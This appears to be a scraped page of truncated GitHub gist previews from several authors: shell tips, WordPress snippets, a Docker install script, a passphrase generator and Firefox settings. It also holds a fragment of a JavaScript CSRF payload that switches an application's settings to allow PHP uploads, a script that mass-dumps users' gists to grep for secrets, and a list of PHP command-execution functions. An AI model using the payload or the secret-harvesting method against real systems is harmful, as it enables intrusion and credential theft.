nil0x42

#!/usr/bin/env python3

#author: @nil0x42
# Usage:
#   $ export GITHUB_TOKEN="<YOUR GITHUB TOKEN>"
#   $ cat github-users.txt | ./gist-massdump.py
#   $ grep -r 'someSecret' gist-massdump.out/
import sys, os, requests, json, pathlib

if sys.stdin.isatty():

johnnypea

# Run the last command as root
sudo !!
# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer
# Save a file you edited in vim without the needed permissions
:w !sudo tee %
# change to the previous working directory
cd -
# Runs previous command but replacing
^foo^bar

amriunix

function updateConfig(csrf) {
    xhr = new XMLHttpRequest();
    xhr.open('POST', '/application/vulnerable/to/fileUpload/settings', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.withCredentials = true;
    configPayload = 'save=1&user=admin&allowFileUpload=php&csrf=' + csrf;
    xhr.send(configPayload);
}

function getCSRF() {

hmowais

public function enqueue_scripts() {

		// Empty redirect.
		$redirect_fail = '';

		// Set the redirect URL.
		$redirectOnFail = esc_url( apply_filters( 'avwp_redirect_on_fail_link', $redirect_fail ) );
}

nuga99

#!/bin/sh
# From https://www.hiroom2.com/2017/09/24/parrotsec-3-8-docker-engine-en/

# Changelog: 
# @DavoedM: Apr 3, 2020
# @C922A10971734: Jan 19, 2023

set -e

# Install dependencies.

grugq

#!/bin/bash
#
# simplistic program that creates passphrases using bash. the passphrases
# are a Number of '-' separated words, ea. of max Chars, with limited post
# processing (upper case, lower case, 1337.)
#
# (c) 2019, thaddeus t. grugq <the.grugq@gmail.com>
#

CRACKLIB=/usr/share/dict/cracklib-small

djrmom

<?php

/** scoll on loaded only if pager is the change in facet **/
add_action( 'wp_head', function() { ?>

    <script>
        (function($) {
            $(document).on('facetwp-refresh', function() {
                if ( FWP.soft_refresh == true ) {
                    FWP.enable_scroll = true;

matzeeable

<?php

if ( !function_exists( 'is_rest' ) ) {
	/**
	 * Checks if the current request is a WP REST API request.
	 *
	 * Case #1: After WP_REST_Request initialisation
	 * Case #2: Support "plain" permalink settings and check if `rest_route` starts with `/`
	 * Case #3: It can happen that WP_Rewrite is not yet initialized,
	 *          so do this (wp-settings.php)

mccabe615

In about:config in Firefox, all of the below should be set to false

• network.captive-portal-service.enabled
• extensions.getAddons.cache.enabled
• network.prefetch-next
• browser.newtabpage.enabled
• toolkit.telemetry.archive.enabled = false
• toolkit.telemetry.enabled = false
• toolkit.telemetry.rejected = true

mccabe615

Command Execution

exec           - Returns last line of commands output
passthru       - Passes commands output directly to the browser
system         - Passes commands output directly to the browser and returns last line
shell_exec     - Returns commands output
\`\` (backticks) - Same as shell_exec()
popen          - Opens read or write pipe to process of a command
proc_open      - Similar to popen() but greater degree of control
pcntl_exec - Executes a program